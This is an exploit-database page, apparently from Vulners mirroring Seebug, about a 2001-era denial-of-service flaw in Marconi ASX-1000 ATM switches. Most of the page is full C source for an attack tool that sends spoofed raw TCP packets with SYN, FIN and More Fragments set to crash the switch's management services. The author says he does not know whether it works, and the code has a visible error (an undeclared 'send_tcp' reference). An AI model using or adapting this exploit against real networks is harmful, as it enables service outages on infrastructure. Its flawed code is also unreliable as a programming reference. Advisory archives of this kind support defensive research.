Lucene search
K

Marconi ASX-1000 Administration Denial of Service Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 26 Views

Marconi ASX-1000 Administration DoS Vulnerability Handlin

Code

                                                source: http://www.securityfocus.com/bid/2400/info

ASX-1000 Switches are hardware packages developed by Marconi Corporation. ASX-1000 Switches can be used to regulate ATM networks, performing layer-3 switching.

A problem with the switch could allow a management denial of service. The problem occurs in the handling of arbitrary packets with both the SYN-FIN flags set, and fragments. By sending packets of this nature, the services listening on the switch enter close_wait status, and do not reset until the port is reset or the switch is power cycled.

This makes it possible for a malicious user to deny administrative access to a switch, and potentially create a network interruption by creating a neccessity to power cycle the switch.

This problem affects firmware Forethought 6.2. 

/*
This DoS attack was discovered by Keith Pachulski and written by J.K. Garvey. This simple program sets the SYN, FIN and More Fragment bits and sends this crafted packet from a spoofed host to a destined Fore/Marconi ASX switch, which causes it to crash. I have no idea if this works, but it does what Keith Pachulski described. 
*/

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <linux/ip.h>
#include <linux/tcp.h>

#define IP_MF 0x2000		/* More fragment bits */

void                forge (unsigned int, unsigned int, unsigned short); 
unsigned short      in_cksum (unsigned short *, int);
unsigned int        host_convert (char *);
void                usage (char *);

main (int argc, char **argv)
{
	unsigned int        source_host = 0, dest_host = 0;
	unsigned short      source_port = 0, dest_port = 80;
	int                 input;
	char                desthost[16], srchost[16];

	printf ("\nDenial of Service attack for Fore/Marconi ASX Switches\n");
	printf
		("Found by Keith Pachulski <[email protected]>\nExploit written by J.K. Garvey <[email protected]>\n");

	if (getuid () != 0)
	{
		printf
			("\nRoot is required. Duh.\n");
		exit (0);
	}

	if (argc < 5)
	{
		usage (argv[0]);
		exit (0);
	}

        while ((input = getopt (argc, argv, "s:d:p:")) != -1)
	{
		switch (input)
		{
			case 's':
				source_host = host_convert (optarg);
				strncpy (srchost, optarg, 16);
			break;

			case 'd':
				dest_host = host_convert (optarg);
				strncpy (desthost, optarg, 16);
			break;

			case 'p':
				dest_port = atoi(optarg);
			break;
		}
	}

	forge (source_host, dest_host, dest_port); 
	printf ("\nCrafted packet sent!\n");

	exit (0);
}

void
forge (unsigned int source_addr, unsigned int dest_addr, unsigned short dest_port) 
{
	struct send
	{
		struct iphdr        ip;
		struct tcphdr       tcp;
	}
	send;

	/* From synhose.c by knight */
	struct pseudo_header
	{
		unsigned int        source_address;
		unsigned int        dest_address;
		unsigned char       placeholder;
		unsigned char       protocol;
		unsigned short      tcp_length;
		struct tcphdr       tcp;
	}
	pseudo_header;

	int                 ch;
	int                 send_socket;
	int                 recv_socket;
	struct sockaddr_in  sin;
	char               *input;

	srand ((getpid ()) * (dest_port));

	/* Begin forged IP header */
	send.ip.ihl = 5;
	send.ip.version = 4;
	send.ip.tos = 0;
	send.ip.tot_len = htons (40);
	send.ip.id = (int) (255.0 * rand () / (RAND_MAX + 1.0));

	/* Note more fragments bit has been set */
	send.ip.frag_off = htons (IP_MF);

	send.ip.ttl = 64;
	send.ip.protocol = IPPROTO_TCP;
	send.ip.check = 0;
	send.ip.saddr = source_addr;
	send.ip.daddr = dest_addr;

	/* Begin forged TCP header */
	send.tcp.source = 1 + (int) (25.0 * rand () / (RAND_MAX + 1.0));
	send.tcp.seq = 1 + (int) (10000.0 * rand () / (RAND_MAX + 1.0));

	send.tcp.dest = htons (dest_port);
	send.tcp.ack_seq = 0;
	send.tcp.res1 = 0;
	send.tcp.doff = 5;

	/* Note FIN and SYN flags are set */
	send.tcp.fin = 1;
	send.tcp.syn = 1;

	send.tcp.rst = 0;
	send.tcp.psh = 0;
	send.tcp.ack = 0;
	send.tcp.urg = 0;
	send.tcp.window = htons (512);
	send.tcp.check = 0;
	send.tcp.urg_ptr = 0;

	/* Drop our forged data into the socket struct */
	sin.sin_family = AF_INET;
	sin.sin_port = send.tcp.source;
	sin.sin_addr.s_addr = send.ip.daddr;

	/* Now open the raw socket for sending */
	send_socket = socket (AF_INET, SOCK_RAW, IPPROTO_RAW);
	if (send_socket < 0)
	{
		perror ("Send socket cannot be opened.");
		exit (1);
	}

	/* Make IP header checksum */
	send.ip.check = in_cksum ((unsigned short *) &send_tcp.ip, 20);

	/* Final preparation of the full header */

	/* From synhose.c by knight */
	pseudo_header.source_address = send.ip.saddr;
	pseudo_header.dest_address = send.ip.daddr;
	pseudo_header.placeholder = 0;
	pseudo_header.protocol = IPPROTO_TCP;
	pseudo_header.tcp_length = htons (20);

	bcopy ((char *) &send.tcp, (char *) &pseudo_header.tcp, 20);
	/* Final checksum on the entire package */
	send.tcp.check = in_cksum ((unsigned short *) &pseudo_header, 32);
	/* Away we go.... */
	sendto (send_socket, &send, 40, 0,
		(struct sockaddr *) &sin, sizeof (sin));
	close (send_socket);
}

unsigned short
in_cksum (unsigned short *ptr, int nbytes)
{
	register long       sum;	/* assumes long == 32 bits */
	u_short             oddbyte;
	register u_short    answer;	/* assumes u_short == 16 bits */

	sum = 0;
	while (nbytes > 1)
	{
		sum += *ptr++;
		nbytes -= 2;
	}

	if (nbytes == 1)
	{
		oddbyte = 0;	/* make sure top half is zero */
		*((u_char *) & oddbyte) = *(u_char *) ptr; /* one byte only */
		sum += oddbyte;
	}

	sum = (sum >> 16) + (sum & 0xffff);	/* add high-16 to low-16 */
	sum += (sum >> 16);	/* add carry */
	answer = ~sum;		/* ones-complement, then truncate to 16 bits */
	return (answer);
}

unsigned int
host_convert (char *hostname)
{
	static struct in_addr i;
	struct hostent     *h;

	i.s_addr = inet_addr (hostname);
	if (i.s_addr == -1)
	{
		h = gethostbyname (hostname);
		if (h == NULL)
		{
			fprintf (stderr, "cannot resolve %s\n", hostname);
			exit (0);
		}
		bcopy (h->h_addr, (char *) &i.s_addr, h->h_length);
	}
	return i.s_addr;
}

void
usage (char *progname)
{
	printf ("\nusage: %s -s source_host -d destination_host -p destination_port (default is 80)\n\n",
		progname);
}


                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
26